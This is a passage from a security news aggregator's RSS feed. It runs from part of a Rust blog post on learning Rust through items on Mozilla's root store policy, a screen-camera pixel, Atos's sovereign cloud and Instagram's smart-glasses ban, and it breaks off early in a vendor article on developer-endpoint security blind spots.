<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Video Screen That Is Also a Camera]]></title>
<description><![CDATA[Amazing:
Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by man...]]></description>
<link>https://tsecurity.de/de/3693281/reverse-engineering/a-video-screen-that-is-also-a-camera/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693281/reverse-engineering/a-video-screen-that-is-also-a-camera/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:08 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://gizmodo.com/newly-invented-pixel-could-turn-screens-into-cameras-2000777917">Amazing</a>:</p>
<blockquote><p>Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by manipulating light’s intensity, oscillation phases, and polarization. The team reported its findings in a paper published yesterday in Nature.</p></blockquote>
<p>We are one step closer to <i>1984</i> technology:</p>
<blockquote><p>The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atos launches sovereign cloud service to power comeback]]></title>
<description><![CDATA[Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data mana...]]></description>
<link>https://tsecurity.de/de/3693082/it-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693082/it-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</guid>
<pubDate>Sat, 25 Jul 2026 06:13:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.</p>



<p class="wp-block-paragraph">Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.</p>



<p class="wp-block-paragraph">“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.</p>



<p class="wp-block-paragraph">There has been a concerted effort by <a href="https://www.computerworld.com/article/4121422/europe-votes-to-tackle-deep-dependence-on-us-tech-in-sovereignty-drive.html">European organizations to meet US competition</a> head-on. Earlier this month, <a href="https://www.networkworld.com/article/4192767/cloud-sovereignty-first-four-providers-sign-up-to-cispe-certification-program.html">four companies signed up to the certification program</a> introduced by the European cloud body, CISPE,</p>



<p class="wp-block-paragraph">This is the latest effort by Atos to get the company back on track. In April, <a href="https://www.networkworld.com/article/4154186/french-government-take-bull-by-horns-for-e404-million.html">it sold its supercomputer company, Bull</a> to the French government, after a previous attempt in 2024 to <a href="https://www.cio.com/article/1310376/atos-deal-to-sell-its-legacy-service-business-falls-through.html">sell off its computer services division</a> and <a href="https://www.cio.com/article/2086965/atos-staves-off-bankruptcy-casts-wider-net-for-refinancing.html">after a refinancing deal</a> in the same year.</p>



<p class="wp-block-paragraph">The company implemented a further round of refinancing this year and <a href="https://www.atosgroup.com/en/press/first-phase-refinancing-strategy-completed" target="_blank" rel="noreferrer noopener">in its half-yearly report</a> claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Instagram Is Now Banning Pickup Artists, Pranksters Who Use Meta Glasses]]></title>
<description><![CDATA[Instagram is banning videos filmed with Meta smart glasses that harass strangers in public, including prank videos targeting service workers and pickup-artist clips of women who may not realize they are being recorded. "If you're posting content that is taking advantage of people and harassing th...]]></description>
<link>https://tsecurity.de/de/3692818/it-security-nachrichten/instagram-is-now-banning-pickup-artists-pranksters-who-use-meta-glasses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692818/it-security-nachrichten/instagram-is-now-banning-pickup-artists-pranksters-who-use-meta-glasses/</guid>
<pubDate>Sat, 25 Jul 2026 03:07:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Instagram is banning videos filmed with Meta smart glasses that harass strangers in public, including prank videos targeting service workers and pickup-artist clips of women who may not realize they are being recorded. "If you're posting content that is taking advantage of people and harassing them, like a lot of these pickup line kind of videos that we've heard of and seen, then we're going to take the content down," said Instagram head Adam Mosseri in response to a question on his Instagram stories last week. "We don't want people to be surreptitiously taking videos of other people and harassing them and then posting them on our platform. So we're trying to fight that every way we can." Business Insider reports: It's unclear how many videos have been removed under this new policy. Business Insider found that two large accounts of pickup artists who filmed themselves approaching women in public while wearing the glasses had been deactivated. (Both previously had more than a million followers.)
 
A Meta spokesperson confirmed to Business Insider that these accounts were booted for violating the policy about posting harassing content that had been filmed with the glasses. Meta did not directly respond to questions about how this new policy is being enforced or what exactly constitutes a violation.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Instagram+Is+Now+Banning+Pickup+Artists%2C+Pranksters+Who+Use+Meta+Glasses%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F24%2F2212248%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F24%2F2212248%2Finstagram-is-now-banning-pickup-artists-pranksters-who-use-meta-glasses%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/24/2212248/instagram-is-now-banning-pickup-artists-pranksters-who-use-meta-glasses?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



